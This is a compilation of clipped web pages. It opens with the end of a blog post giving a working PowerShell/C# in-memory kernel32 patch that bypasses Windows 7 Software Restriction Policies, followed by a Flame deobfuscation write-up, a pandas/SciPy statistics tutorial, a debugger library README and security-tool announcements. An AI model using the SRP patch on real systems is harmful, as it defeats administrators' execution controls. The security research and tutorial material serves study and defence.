        $cpar.GenerateExecutable = $false
        $cpar.OutputAssembly = "custom"
        $cpar.ReferencedAssemblies.AddRange($refs)
        $cr = $cp.CompileAssemblyFromSource($cpar, $code)
    
        if ( $cr.Errors.Count)
        {
            $codeLines = $code.Split("`n");
            foreach ($ce in $cr.Errors)
            {
                write-host "Error: $($codeLines[$($ce.Line - 1)])"
                $ce |out-default
            }
            Throw "INVALID DATA: Errors encountered while compiling code"
        }
    }
    
    ###########################################################################
    #  Here I leverage one of my favorite features (here-strings) to define
    # the C# code I want to run.  Remember - if you use single quotes - the
    # string is taken literally but if you use double-quotes, we'll do variable
    # expansion.  This can be VERY useful.
    ###########################################################################
    $code = @'
    using System;
    using System.Runtime.InteropServices;
    
    namespace test
    {
        public class Testclass
        {
            public enum Protection
            {
                PAGE_NOACCESS = 0x01,
                PAGE_READONLY = 0x02,
                PAGE_READWRITE = 0x04,
                PAGE_WRITECOPY = 0x08,
                PAGE_EXECUTE = 0x10,
                PAGE_EXECUTE_READ = 0x20,
                PAGE_EXECUTE_READWRITE = 0x40,
                PAGE_EXECUTE_WRITECOPY = 0x80,
                PAGE_GUARD = 0x100,
                PAGE_NOCACHE = 0x200,
                PAGE_WRITECOMBINE = 0x400
            }
    
            [DllImport("kernel32.dll")]
            static extern bool VirtualProtect(uint lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
            [DllImport("kernel32.dll")]
            public static extern uint GetModuleHandle(string lpModuleName);
    
            public static void Patch()
            {
                uint addr = GetModuleHandle("kernel32.dll") + 0x55FD7;
                byte[] expected = new byte[] {0x8B, 0xFF, 0x55, 0x8B, 0xEC, 0x81, 0xEC, 0x84, 0x02, 0x00, 0x00};
                unsafe
                {
                    byte* mem = (byte*)addr;
                    for (int i = 0; i < expected.Length; ++i)
                    {
                        if (mem[i] != expected[i])
                        {
                            System.Console.WriteLine("Expected bytes not found!");
                            return;
                        }
                    }
    
                        uint oldProtect;                
                    VirtualProtect(addr, 11, (uint)Protection.PAGE_EXECUTE_WRITECOPY, out oldProtect);
                    byte[] patch = new byte[] {0xB8, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x0C, 0x00, 0x90, 0x90, 0x90};
                    for (int i = 0; i < patch.Length; ++i) mem[i] = patch[i];
                    VirtualProtect(addr, 11, oldProtect,  out oldProtect);
                }
            }
        }
    }
    '@
    
    ##################################################################
    # So now we compile the code and use .NET object access to run it.
    ##################################################################
    compile-CSharp $code
    [Test.TestClass]::Patch()
[/code]

After executing this script, you can run any executable, even if it would have
been restricted by the SRP. Some mentions:

  * It is technically written in C\#, which is dynamically compiled \(the code to do it is taken from here, with a modification from here to allow compiling of unsafe code\)
  * The offsets and bytes are for Windows 7 build 7100, so it most probably won’t work with other versions of Windows \(and it is possible that it won’t work with other builds\), however it is trivial to port it to other versions
  * Because Windows 7 \(like Vista\) changes the loading address at each reboot \(ASLR\), the actual patch address needs to be calculated relative to the base address of kernel32 \(obtained via GetModuleHandle\)

Picture taken from permanently scatterbrained's photostream with permission.

Posted by cdman83 at 4:30 PM

Labels: dotnet, powershell, security, srp, win7, windows

  *[4:30 PM]: 2009-07-17T16:30:00+03:00

# Semantic Analysis of Native Programs, introducing CodeReason – ...And You
Will Know Us by the Trail of Bits

**Created:**| _6/18/2015 3:11:48 PM_  
---|---  
**Updated:**| _6/18/2015 3:11:48 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification_  
  

# Introduction

Have you ever wanted to make a query into a native mode program asking about
program locations that write a specific value to a register? Have you ever
wanted to automatically deobfuscate obfuscated strings?

Reverse engineering a native program involves understanding its semantics at a
low level until a high level picture of functionality emerges. One challenge
facing a principled understanding of a native mode program is that this
understanding must extend to every instruction used by the program. Your
analysis must know which instructions have what effects on memory calls and
registers.

We’d like to introduce CodeReason, a machine code analysis framework we
produced for DARPA Cyber Fast Track. CodeReason provides a framework for
analyzing the semantics of native x86 and ARM code. We like CodeReason because
it provides us a platform to make queries about the effects that native code
has on overall program state. CodeReason does this by having a deep semantic
understanding of native instructions.

Building this semantic understanding is time-consuming and expensive. There
are existing systems, but they have high barriers to entry or don’t do
precisely what we want, or they don’t apply simplifications and optimizations
to their semantics. We want to do that because these simplifications can
reduce otherwise hairy optimizations to simple expressions that are easy to
understand. To motivate this, we’ll give an example of a time we used
CodeReason.

# Simplifying Flame

Around when the Flame malware was revealed, some of its binaries were posted
onto malware.lu. Their overall scheme is to store the obfuscated string in a
structure in global data. The structure looks something like this:

|  `struct` `ObfuscatedString {` `char` `padding[7];` `char`
`hasDeobfuscated;` `short` `stringLen;` `char` `string[];` `};`  
---|---  
Each structure has variable-length data at the end, with 7 bytes of data that
were apparently unused.

There are two fun things here. First I used Code Reason to write a string
deobfuscator in C. The original program logic performs string deobfuscation in
three steps.

The first function checks the hasDeobfuscated field and if it is zero, will
return a pointer to the first element of the string. If the field is not zero,
it will call the second function, and then set hasDeobfuscated to zero.

The second function will iterate over every character in the ‘string’ array.
At each character, it will call a third function and then subtract the value
returned by the third function from the character in the string array, writing
the result back into the array. So it looks something like:

|  `void` `inplace_buffer_decrypt(unsigned ` `char` `*buf, ` `int` `len) {`
`int` `counted = 0;` `while` `( counted < len ) {` `unsigned ` `char` `*cur =
buf + counted;` `unsigned ` `char` `newChar =
get_decrypt_modifier_f(counted);` `*cur -= newChar;` `++counted;` `}` `return`
`;` `}`  
---|---  
What about the third function, ‘get\_decrypt\_modifier’? This function is one
basic block long and looks like this:

|  `lea ecx, [eax+11h]` `add eax, 0Bh` `imul ecx, eax` `mov edx, ecx` `shr
edx, 8` `mov eax, edx` `xor eax, ecx` `shr eax, 10h` `xor eax, edx` `xor eax,
ecx` `retn`  
---|---  
An advantage of having a native code semantics understanding system is that I
could capture this block and feed it to CodeReason and have it tell me what
the equation of ‘eax’ looks like. This would tell me what this block ‘returns’
to its caller, and would let me capture the semantics of what
get\_decrypt\_modifier does in my deobfuscator.

It would also be possible to decompile this snippet to C, however what I’m
really concerned with is the effect of the code on ‘eax’ and not something as
high-level as what the code “looks like” in a C decompilers view of the world.
C decompilers also use a semantics translator, but then proxy the results of
that translation through an attempt at translating to C. CodeReason lets us
skip the last step and consider just the semantics, which sometimes can be
more powerful.

# Using CodeReason

Getting this from CodeReason looks like this:

|  `$ .` `/bin/VEEShell` `-a X86 -f ..` `/tests/testSkyWipe` `.bin` `blockLen:
28` `r` `...` `EAX = Xor32[ Xor32[ Shr32[ Xor32[ Shr32[ Mul32[ Add32[
REGREAD(EAX), I:U32(0xb) ], Add32[ REGREAD(EAX), I:U32(0x11) ] ], I:U8(0x8) ],
Mul32[ Add32[ REGREAD(EAX), I:U32(0xb) ], Add32[ REGREAD(EAX), I:U32(0x11) ] ]
], I:U8(0x10) ], Shr32[ Mul32[ Add32[ REGREAD(EAX), I:U32(0xb) ], Add32[
REGREAD(EAX), I:U32(0x11) ] ], I:U8(0x8) ] ], Mul32[ Add32[ REGREAD(EAX),
I:U32(0xb) ], Add32[ REGREAD(EAX), I:U32(0x11) ] ] ]` `...` `EIP =
REGREAD(ESP)`  
---|---  
This is cool, because if I implement functions for Xor32, Mul32, Add32, and
Shr32, I have this function in C, like so:

|  `unsigned char get_decrypt_modifier_f(unsigned int a) {` `return Xor32(`
`Xor32(` `Shr32(` `Xor32(` `Shr32(` `Mul32(` `Add32( a, 0xb),` `Add32( a,
0x11) ),` `0x8 ),` `Mul32(` `Add32( a, 0xb ),` `Add32( a, 0x11 ) ) ),` `0x10
),` `Shr32(` `Mul32(` `Add32( a, 0xb ),` `Add32( a, 0x11 ) ),` `0x8 ) ),`
`Mul32(` `Add32( a, 0xb ),` `Add32( a, 0x11 ) ) );` `}`  
---|---  
And this also is cool because it works.

|  `C:\code\tmp>skywiper_string_decrypt.exe` `CreateToolhelp32Snapshot`  
---|---  
We’re extending CodeReason into an IDA plugin that allows us to make these
queries directly from IDA, which should be really cool\!

The second fun thing here is that this string deobfuscator has a race
condition. If two threads try and deobfuscate the same thread at the same
time, they will corrupt the string forever. This could be bad if you were
trying to do something important with an obfuscated string, as it would result
in passing bad data to a system service or something, which could have very
bad effects.

I’ve used CodeReason to attack string obfuscations that were implemented like
this:

|  `xor eax eax` `push eax` `sub eax, 0x21ece84` `push eax`  
---|---  
Where the sequence of native instructions would turn non-string immediate
values into string values \(through a clever use of the semantics of twos
compliment arithmetic\) and then push them in the correct order onto the
stack, thereby building a string dynamically each time the deobfuscation code
ran. CodeReason was able to look at this and, using a very simple pinhole
optimizer, convert the code into a sequence of memory writes of string
immediate values, like:

|  `MEMWRITE[esp] = '.dll'` `MEMWRITE[esp-4] = 'nlan'`  
---|---  
# Conclusions

Having machine code in a form where it can be optimized and understood can be
kind of powerful\! Especially when that is available from a programmatic
library. Using CodeReason, we were able to extract the semantics of string
obfuscation functions and automatically implement a string de-obfuscator.
Further, we were able to simplify obfuscating code into a form that expressed
the de-obfuscated string values on their own. We plan to cover additional uses
and capabilities of CodeReason in future blog posts.

# Statistical analysis made easy in Python | Randal S. Olson
**Created:**| _8/26/2012 8:28:52 PM_  
---|---  
**Updated:**| _8/26/2012 8:28:52 PM_  
**Author:**| __  
**Tags:**| _python statistics programming_  
  

# Statistical analysis made easy in Python with SciPy and pandas DataFrames

Posted on 08/06/2012 by Randy Olson — 11 Comments ↓

I finally got around to finishing up this tutorial on how to use pandas
DataFrames and SciPy together to handle any and all of your statistical needs
in Python. This is basically an amalgamation of my two previous blog posts on
pandas and SciPy.

This is all coded up in an IPython Notebook, so if you want to try things out
for yourself, everything you need is available on github:
https://github.com/briandconnelly/BEACONToolkit/tree/master/analysis/scripts

## Statistical Analysis in Python

In this section, we introduce a few useful methods for analyzing your data in
Python. Namely, we cover how to compute the mean, variance, and standard error
of a data set. For more advanced statistical analysis, we cover how to perform
a Mann-Whitney-Wilcoxon \(MWW\) RankSum test, how to perform an Analysis of
variance \(ANOVA\) between multiple data sets, and how to compute bootstrapped
95% confidence intervals for non-normally distributed data sets.

### Python’s SciPy Module

The majority of data analysis in Python can be performed with the SciPy
module. SciPy provides a plethora of statistical functions and tests that will
handle the majority of your analytical needs. If we don’t cover a statistical
function or test that you require for your research, SciPy’s full statistical
library is described in detail at:
http://docs.scipy.org/doc/scipy/reference/tutorial/stats.html

### Python’s pandas Module

The pandas module provides powerful, efficient, R-like DataFrame objects
capable of calculating statistics en masse on the entire DataFrame. DataFrames
are useful for when you need to compute statistics over multiple replicate
runs.

For the purposes of this tutorial, we will use Luis Zaman’s digital parasite
data set:

view plaincopy to clipboardprint?

  1. from pandas import \* 
  2.   3. \# must specify that blank space " " is NaN
  4. experimentDF = read\_csv\("parasite\_data.csv", na\_values=\[" "\]\) 
  5.   6. print experimentDF 
  7.   8. \[class 'pandas.core.frame.DataFrame'\] 
  9. Int64Index: 350 entries, 0 to 349
  10. Data columns: 
  11. Virulence 300 non-null values 
  12. Replicate 350 non-null values 
  13. ShannonDiversity 350 non-null values 
  14. dtypes: float64\(2\), int64\(1\) 

### Accessing data in pandas DataFrames

You can directly access any column and row by indexing the DataFrame.

view plaincopy to clipboardprint?

  1. \# show all entries in the Virulence column
  2. print experimentDF\["Virulence"\] 
  3.   4. 0 0.5
  5. 1 0.5
  6. 2 0.5
  7. 3 0.5
  8. 4 0.5
  9. ... 
  10. 346 NaN 
  11. 347 NaN 
  12. 348 NaN 
  13. 349 NaN 
  14. Name: Virulence, Length: 350

view plaincopy to clipboardprint?

  1. \# show the 12th row in the ShannonDiversity column
  2. print experimentDF\["ShannonDiversity"\]\[12\] 
  3.   4. 1.58981

You can also access all of the values in a column meeting a certain criteria.

view plaincopy to clipboardprint?

  1. \# show all entries in the ShannonDiversity column > 2.0
  2. print experimentDF\[experimentDF\["ShannonDiversity"\] > 2.0\] 
  3.   4. Virulence Replicate ShannonDiversity 
  5. 8 0.5 9 2.04768
  6. 89 0.6 40 2.01066
  7. 92 0.6 43 2.90081
  8. 96 0.6 47 2.02915
  9. ... 
  10. 235 0.9 36 2.19565
  11. 237 0.9 38 2.16535
  12. 243 0.9 44 2.17578
  13. 251 1.0 2 2.16044

### Blank/omitted data \(NA or NaN\) in pandas DataFrames

Blank/omitted data is a piece of cake to handle in pandas. Here’s an example
data set with NA/NaN values.

view plaincopy to clipboardprint?

  1. print experimentDF\[isnan\(experimentDF\["Virulence"\]\)\] 
  2.   3. Virulence Replicate ShannonDiversity 
  4. 300 NaN 1 0.000000
  5. 301 NaN 2 0.000000
  6. 302 NaN 3 0.833645
  7. 303 NaN 4 0.000000
  8. ... 
  9. 346 NaN 47 0.000000
  10. 347 NaN 48 0.444463
  11. 348 NaN 49 0.383512
  12. 349 NaN 50 0.511329

DataFrame methods automatically ignore NA/NaN values.

view plaincopy to clipboardprint?

  1. print "Mean virulence across all treatments:", experimentDF\["Virulence"\].mean\(\) 
  2.   3. Mean virulence across all treatments: 0.75

However, not all methods in Python are guaranteed to handle NA/NaN values
properly.

view plaincopy to clipboardprint?

  1. from scipy import stats 
  2.   3. print "Mean virulence across all treatments:", stats.sem\(experimentDF\["Virulence"\]\) 
  4.   5. Mean virulence across all treatments: nan 

Thus, it behooves you to take care of the NA/NaN values before performing your
analysis. You can either:

**\(1\) filter out all of the entries with NA/NaN**

view plaincopy to clipboardprint?

  1. \# NOTE: this drops the entire row if any of its entries are NA/NaN\!
  2. print experimentDF.dropna\(\) 
  3.   4. \[class 'pandas.core.frame.DataFrame'\] 
  5. Int64Index: 300 entries, 0 to 299
  6. Data columns: 
  7. Virulence 300 non-null values 
  8. Replicate 300 non-null values 
  9. ShannonDiversity 300 non-null values 
  10. dtypes: float64\(2\), int64\(1\) 

If you only care about NA/NaN values in a specific column, you can specify the
column name first.

view plaincopy to clipboardprint?

  1. print experimentDF\["Virulence"\].dropna\(\) 
  2.   3. 0 0.5
  4. 1 0.5
  5. 2 0.5
  6. 3 0.5
  7. ... 
  8. 296 1
  9. 297 1
  10. 298 1
  11. 299 1
  12. Name: Virulence, Length: 300

**\(2\) replace all of the NA/NaN entries with a valid value**

view plaincopy to clipboardprint?

  1. print experimentDF.fillna\(0.0\)\["Virulence"\] 
  2.   3. 0 0.5
  4. 1 0.5
  5. 2 0.5
  6. 3 0.5
  7. 4 0.5
  8. ... 
  9. 346 0
  10. 347 0
  11. 348 0
  12. 349 0
  13. Name: Virulence, Length: 350

Take care when deciding what to do with NA/NaN entries. It can have a
significant impact on your results\!

view plaincopy to clipboardprint?

  1. print \("Mean virulence across all treatments w/ dropped NaN:", 
  2. experimentDF\["Virulence"\].dropna\(\).mean\(\)\) 
  3.   4. print \("Mean virulence across all treatments w/ filled NaN:", 
  5. experimentDF.fillna\(0.0\)\["Virulence"\].mean\(\)\) 
  6.   7. Mean virulence across all treatments w/ dropped NaN: 0.75
  8. Mean virulence across all treatments w/ filled NaN: 0.642857142857

### Mean of a data set

The mean performance of an experiment gives a good idea of how the experiment
will turn out _on average_ under a given treatment.

Conveniently, DataFrames have all kinds of built-in functions to perform
standard operations on them en masse: \`add\(\)\`, \`sub\(\)\`, \`mul\(\)\`,
\`div\(\)\`, \`mean\(\)\`, \`std\(\)\`, etc. The full list is located at:
http://pandas.sourceforge.net/generated/pandas.DataFrame.html

Thus, computing the mean of a DataFrame only takes one line of code:

view plaincopy to clipboardprint?

  1. from pandas import \* 
  2.   3. print \("Mean Shannon Diversity w/ 0.8 Parasite Virulence =", 
  4. experimentDF\[experimentDF\["Virulence"\] == 0.8\]\["ShannonDiversity"\].mean\(\)\) 
  5.   6. Mean Shannon Diversity w/ 0.8 Parasite Virulence = 1.2691338188

### Variance in a data set

The variance in the performance provides a measurement of how consistent the
results of an experiment are. The lower the variance, the more consistent the
results are, and vice versa.

Computing the variance is also built in to pandas DataFrames:

view plaincopy to clipboardprint?

  1. from pandas import \* 
  2.   3. print \("Variance in Shannon Diversity w/ 0.8 Parasite Virulence =", 
  4. experimentDF\[experimentDF\["Virulence"\] == 0.8\]\["ShannonDiversity"\].var\(\)\) 
  5.   6. Variance in Shannon Diversity w/ 0.8 Parasite Virulence = 0.611038433313

### Standard Error of the Mean \(SEM\)

Combined with the mean, the SEM enables you to establish a range around a mean
that the majority of any future replicate experiments will most likely fall
within.

pandas DataFrames don’t have methods like SEM built in, but since DataFrame
rows/columns are treated as lists, you can use any NumPy/SciPy method you like
on them.

view plaincopy to clipboardprint?

  1. from pandas import \* 
  2. from scipy import stats 
  3.   4. print \("SEM of Shannon Diversity w/ 0.8 Parasite Virulence =", 
  5. stats.sem\(experimentDF\[experimentDF\["Virulence"\] == 0.8\]\["ShannonDiversity"\]\)\) 
  6.   7. SEM of Shannon Diversity w/ 0.8 Parasite Virulence = 0.110547585529

A single SEM will usually envelop 68% of the possible replicate means and two
SEMs envelop 95% of the possible replicate means. Two SEMs are called the
“estimated 95% confidence interval.” The confidence interval is estimated
because the exact width depend on how many replicates you have; this
approximation is good when you have more than 20 replicates.

### Mann-Whitney-Wilcoxon \(MWW\) RankSum test

The MWW RankSum test is a useful test to determine if two distributions are
significantly different or not. Unlike the t-test, the RankSum test does not
assume that the data are normally distributed, potentially providing a more
accurate assessment of the data sets.

As an example, let’s say we want to determine if the results of the two
following treatments significantly differ or not:

view plaincopy to clipboardprint?

  1. \# select two treatment data sets from the parasite data
  2. treatment1 = experimentDF\[experimentDF\["Virulence"\] == 0.5\]\["ShannonDiversity"\] 
  3. treatment2 = experimentDF\[experimentDF\["Virulence"\] == 0.8\]\["ShannonDiversity"\] 
  4.   5. print "Data set 1:\n", treatment1 
  6. print "Data set 2:\n", treatment2 
  7.   8. Data set 1: 
  9. 0 0.059262
  10. 1 1.093600
  11. 2 1.139390
  12. 3 0.547651
  13. ... 
  14. 45 1.937930
  15. 46 1.284150
  16. 47 1.651680
  17. 48 0.000000
  18. 49 0.000000
  19. Name: ShannonDiversity 
  20. Data set 2: 
  21. 150 1.433800
  22. 151 2.079700
  23. 152 0.892139
  24. 153 2.384740
  25. ... 
  26. 196 2.077180
  27. 197 1.566410
  28. 198 0.000000
  29. 199 1.990900
  30. Name: ShannonDiversity 

A RankSum test will provide a P value indicating whether or not the two
distributions are the same.

view plaincopy to clipboardprint?

  1. from scipy import stats 
  2.   3. z\_stat, p\_val = stats.ranksums\(treatment1, treatment2\) 
  4.   5. print "MWW RankSum P for treatments 1 and 2 =", p\_val 
  6.   7. MWW RankSum P for treatments 1 and 2 = 0.000983355902735

If P <= 0.05, we are highly confident that the distributions significantly
differ, and can claim that the treatments had a significant impact on the
measured value.

If the treatments do _not_ significantly differ, we could expect a result such
as the following:

view plaincopy to clipboardprint?

  1. treatment3 = experimentDF\[experimentDF\["Virulence"\] == 0.8\]\["ShannonDiversity"\] 
  2. treatment4 = experimentDF\[experimentDF\["Virulence"\] == 0.9\]\["ShannonDiversity"\] 
  3.   4. print "Data set 3:\n", treatment3 
  5. print "Data set 4:\n", treatment4 
  6.   7. Data set 3: 
  8. 150 1.433800
  9. 151 2.079700
  10. 152 0.892139
  11. 153 2.384740
  12. ... 
  13. 196 2.077180
  14. 197 1.566410
  15. 198 0.000000
  16. 199 1.990900
  17. Name: ShannonDiversity 
  18. Data set 4: 
  19. 200 1.036930
  20. 201 0.938018
  21. 202 0.995956
  22. 203 1.006970
  23. ... 
  24. 246 1.564330
  25. 247 1.870380
  26. 248 1.262280
  27. 249 0.000000
  28. Name: ShannonDiversity 

view plaincopy to clipboardprint?

  1. \# compute RankSum P value
  2. z\_stat, p\_val = stats.ranksums\(treatment3, treatment4\) 
  3.   4. print "MWW RankSum P for treatments 3 and 4 =", p\_val 
  5.   6. MWW RankSum P for treatments 3 and 4 = 0.994499571124

With P > 0.05, we must say that the distributions do not significantly differ.
Thus changing the parasite virulence between 0.8 and 0.9 does not result in a
significant change in Shannon Diversity.

### One-way analysis of variance \(ANOVA\)

If you need to compare more than two data sets at a time, an ANOVA is your
best bet. For example, we have the results from three experiments with
overlapping 95% confidence intervals, and we want to confirm that the results
for all three experiments are not significantly different.

view plaincopy to clipboardprint?

  1. treatment1 = experimentDF\[experimentDF\["Virulence"\] == 0.7\]\["ShannonDiversity"\] 
  2. treatment2 = experimentDF\[experimentDF\["Virulence"\] == 0.8\]\["ShannonDiversity"\] 
  3. treatment3 = experimentDF\[experimentDF\["Virulence"\] == 0.9\]\["ShannonDiversity"\] 
  4.   5. print "Data set 1:\n", treatment1 
  6. print "Data set 2:\n", treatment2 
  7. print "Data set 3:\n", treatment3 
  8.   9. Data set 1: 
  10. 100 1.595440
  11. 101 1.419730
  12. 102 0.000000
  13. 103 0.000000
  14. ... 
  15. 146 0.000000
  16. 147 1.139100
  17. 148 2.383260
  18. 149 0.056819
  19. Name: ShannonDiversity 
  20. Data set 2: 
  21. 150 1.433800
  22. 151 2.079700
  23. 152 0.892139
  24. 153 2.384740
  25. ... 
  26. 196 2.077180
  27. 197 1.566410
  28. 198 0.000000
  29. 199 1.990900
  30. Name: ShannonDiversity 
  31. Data set 3: 
  32. 200 1.036930
  33. 201 0.938018
  34. 202 0.995956
  35. 203 1.006970
  36. ... 
  37. 246 1.564330
  38. 247 1.870380
  39. 248 1.262280
  40. 249 0.000000
  41. Name: ShannonDiversity 

view plaincopy to clipboardprint?

  1. \# compute one-way ANOVA P value 
  2. from scipy import stats 
  3.   4. f\_val, p\_val = stats.f\_oneway\(treatment1, treatment2, treatment3\) 
  5.   6. print "One-way ANOVA P =", p\_val 
  7.   8. One-way ANOVA P = 0.381509481874

If P > 0.05, we can claim with high confidence that the means of the results
of all three experiments are not significantly different.

### Bootstrapped 95% confidence intervals

Oftentimes in wet lab research, it’s difficult to perform the 20 replicate
runs recommended for computing reliable confidence intervals with SEM.

In this case, bootstrapping the confidence intervals is a much more accurate
method of determining the 95% confidence interval around your experiment’s
mean performance.

Unfortunately, SciPy doesn’t have bootstrapping built into its standard
library yet. However, there is already a scikit out there for bootstrapping.
Enter the following command to install it:

  1. sudo pip install -e git+http://github.org/cgevans/scikits-bootstrap.git\#egg=Package 

You may need to install pip first, e.g., for Mac:

  1. sudo easy\_install pip 

Bootstrapping 95% confidence intervals around the mean with this function is
simple:

view plaincopy to clipboardprint?

  1. \# subset a list of 10 data points
  2. treatment1 = experimentDF\[experimentDF\["Virulence"\] == 0.8\]\["ShannonDiversity"\]\[:10\] 
  3.   4. print "Small data set:\n", treatment1 
  5.   6. Small data set: 
  7. 150 1.433800
  8. 151 2.079700
  9. 152 0.892139
  10. 153 2.384740
  11. 154 0.006980
  12. 155 1.971760
  13. 156 0.000000
  14. 157 1.428470
  15. 158 1.715950
  16. 159 0.000000
  17. Name: ShannonDiversity 

view plaincopy to clipboardprint?

  1. import scipy 
  2. import scikits.bootstrap as bootstrap 
  3.   4. \# compute 95% confidence intervals around the mean
  5. CIs = bootstrap.ci\(data=treatment1, statfunction=scipy.mean\) 
  6.   7. print "Bootstrapped 95% confidence intervals\nLow:", CIs\[0\], "\nHigh:", CIs\[1\] 
  8.   9. Bootstrapped 95% confidence intervals 
  10. Low: 0.659028048
  11. High: 1.722468024

Note that you can change the range of the confidence interval by setting the
alpha:

view plaincopy to clipboardprint?

  1. \# 80% confidence interval
  2. CIs = bootstrap.ci\(treatment1, scipy.mean, alpha=0.2\) 
  3. print "Bootstrapped 80% confidence interval\nLow:", CIs\[0\], "\nHigh:", CIs\[1\] 
  4.   5. Bootstrapped 80% confidence interval 
  6. Low: 0.827291024
  7. High: 1.5420059

And also modify the size of the bootstrapped sample pool that the confidence
intervals are taken from:

view plaincopy to clipboardprint?

  1. \# bootstrap 20,000 samples instead of only 10,000
  2. CIs = bootstrap.ci\(treatment1, scipy.mean, n\_samples=20000\) 
  3. print \("Bootstrapped 95% confidence interval w/ 20,000 samples\nLow:", 
  4. CIs\[0\], "\nHigh:", CIs\[1\]\) 
  5.   6. Bootstrapped 95% confidence interval w/ 20,000 samples 
  7. Low: 0.644756972
  8. High: 1.7071459

Generally, bootstrapped 95% confidence intervals provide more accurate
confidence intervals than 95% confidence intervals estimated from the SEM.

# pykd / pykdwin

**Created:**| _9/23/2018 8:40:06 AM_  
---|---  
**Updated:**| _9/23/2018 8:40:06 AM_  
**Author:**| _wishi_  
**Tags:**| _Debugging python_  
  

  

#  <img
src='"./icon_anchor-297aa9b0225eff3d6d0da74ce042a0ed5575b92aa66b7109a5e060a795b42e36.svg"'
/>PYKDWIN

library with auxiliary modules for small pykd scripts and daily use.

Script with direct **pykd** use:

[code]

    from pykd import *
    
    # register access
    print( reg('rax') )
    print( reg('eax') + reg('al') )
    
    # module access
    print ( module('KERNEL32') )
[/code]

The same script with **pykdwin** :

[code]

    from pykdwin import *
    
    # register access
    print( rax )
    print( eax + al )
    
    # module access
    print ( KERNEL32 )
[/code]

##  <img
src='"./icon_anchor-297aa9b0225eff3d6d0da74ce042a0ed5575b92aa66b7109a5e060a795b42e36.svg"'
/>Install

  * Download source code
  * Go to the root directory
  * Run command: ` pip install . `

##  <img
src='"./icon_anchor-297aa9b0225eff3d6d0da74ce042a0ed5575b92aa66b7109a5e060a795b42e36.svg"'
/>Register access from scripts

[code]

    from pykdwin.registers import *
    print(rip)
[/code]

##  <img
src='"./icon_anchor-297aa9b0225eff3d6d0da74ce042a0ed5575b92aa66b7109a5e060a795b42e36.svg"'
/>Module access from scripts:

[code]

    from pykdwin.modules import *
    print(KERNELBASE.checksum())
[/code]

##  <img
src='"./icon_anchor-297aa9b0225eff3d6d0da74ce042a0ed5575b92aa66b7109a5e060a795b42e36.svg"'
/>Memory access from scripts:

Enumeration memory regions in the target process

[code]

    from pykdwin.memory import *
    for mem_reg in enum_memory():
         print("%x - %x bytex", mem_reg)
[/code]

##  <img
src='"./icon_anchor-297aa9b0225eff3d6d0da74ce042a0ed5575b92aa66b7109a5e060a795b42e36.svg"'
/>Heap enumeration

Enumerate heaps in the target process and theirs items

[code]

    from pykdwin.heap import *
    for heap in get_heaps():
        for entry in heap.entries():
            print( hex(entry.address), entry.size )
[/code]

"Flat" enumeration through all heaps:

[code]

    from pykdwin.heap import *
    for entry in enum_heaps():
         print("%x - %x bytex" % (entry.address, entry.size))
[/code]

##  <img
src='"./icon_anchor-297aa9b0225eff3d6d0da74ce042a0ed5575b92aa66b7109a5e060a795b42e36.svg"'
/>PE parser from scripts:

[code]

    from pykdwin.pe import get_iats, get_exports, get_imports
    print( get_exports(KERNEL32) )
    print( get_imports(KERNEL32) )
    print( get_iats(KERNEL32) )
[/code]

##  <img
src='"./icon_anchor-297aa9b0225eff3d6d0da74ce042a0ed5575b92aa66b7109a5e060a795b42e36.svg"'
/>PE parser as command line:

[code]

    0:000> !py -m pykdwin.pe --help
    usage: pe.py [-h] {exports,imports,iat} ...
    
    PE image explorer
    
    positional arguments:
      {exports,imports,iat}
        exports             show pe exports
        imports             show pe imports
        iat                 show iat table
    
    optional arguments:
      -h, --help            show this help message and exit
    0:000> !py -m pykdwin.pe exports KERNEL32
    Image at: 7ff951110000
    Export RVA: 22df8  Size: cfad
    ========================================
    AcquireSRWLockExclusive
    AcquireSRWLockShared
    ActivateActCtx
    ActivateActCtxWorker
    AddAtomA
    AddAtomW
    AddConsoleAliasA
    AddConsoleAliasW
    AddDllDirectory
    AddIntegrityLabelToBoundaryDescriptor
    AddLocalAlternateComputerNameA
    AddLocalAlternateComputerNameW
    AddRefActCtx
    AddRefActCtxWorker
[/code]

  

# BoopSuite – A Suite of Tools written in Python for wireless auditing and
security testing. – Security List Network™

**Created:**| _5/23/2017 1:02:25 PM_  
---|---  
**Updated:**| _5/23/2017 1:02:25 PM_  
**Author:**| __  
**Tags:**| _wifi security tools wireless_  
  

  

# BoopSuite – A Suite of Tools written in Python for wireless auditing and
security testing.

eldad / May 22, 2017 / Comments Off on BoopSuite – A Suite of Tools written in
Python for wireless auditing and security testing. / Penetration Test,
Wireless/wifi

**BoopSuite** is an up and coming suite of wireless tools designed to be easy
to use and powerful in scope.

**Why use this over aircrack-ng?**  
This project is easier to use, identifies clients more quickly than airodump-
ng, and displays less useless information. Additionally I can take requests
and build them out as I continue to develop this project.  
Don’t mistake me, aircrack is an amazing suite of tools and I understand the
thought of “why use a different tool when airodump is still very usuable”, and
the answer is because change is good, and this project is going to continue to
grow as I add new handlers for additional packet types.

<img src='img/Temp2_1124.png' width='300' height='220' />

BoopSuite Codename: Gaboon Viper

**Dependencies:**  
\+ Python 2.7.x  
\+ Aircrack-NG  
\+ IW, lsdlf, imagetcpdump, graphviz & imagemagick.  
\+ Debian/Ubuntu, Arch Linux, Centos Support.

**Installation:**

1234 | git clonehttps://github.com/M1ND-B3ND3R/BoopSuite.git && cd BoopSuitesudo python2 setup.pysudo boopsniff-hsudo boopsniff\_gui\(forgui\)  
---|---  
Source: https://github.com/M1ND-B3ND3R

  

# Towards reliable storage of 56-bit secrets in human memory -
SecretsInHumanMemory\_Extended.pdf

**Created:**| _8/24/2014 8:02:12 PM_  
---|---  
**Updated:**| _8/24/2014 8:02:12 PM_  
**Author:**| __  
**Tags:**| _crypto biometrics_  
  
<img src='img/SecretsInHumanMemory_Extended.pdf' />

# Learn To Investigate Data Breach Incidents

**Created:**| _12/24/2009 11:43:22 AM_  
---|---  
**Updated:**| _12/24/2009 11:43:29 AM_  
**Author:**| __  
**Tags:**| _Forensics_  
  

## Learn To Investigate Data Breach Incidents

Posted by sansinstitute on December 23, 2009 – 5:19 pm

Filed under Computer Forensics, Evidence Analysis, Incident Response, Linux
IR, Malware Analysis, Windows IR

Computer Forensic Training is becoming more critical to your organizations
incident response plan due to some of the current threats that are being
discovered. Organizations will find more and more that they will need a team
of trained incident responders and computer forensic analysts. Your
organization needs to be prepared on how to handle sophisticated incidents and
organized groups that can easily walk around your perimeter defenses.

Here are just a few recent headlines over the last year scoping the current
threat against many networks.

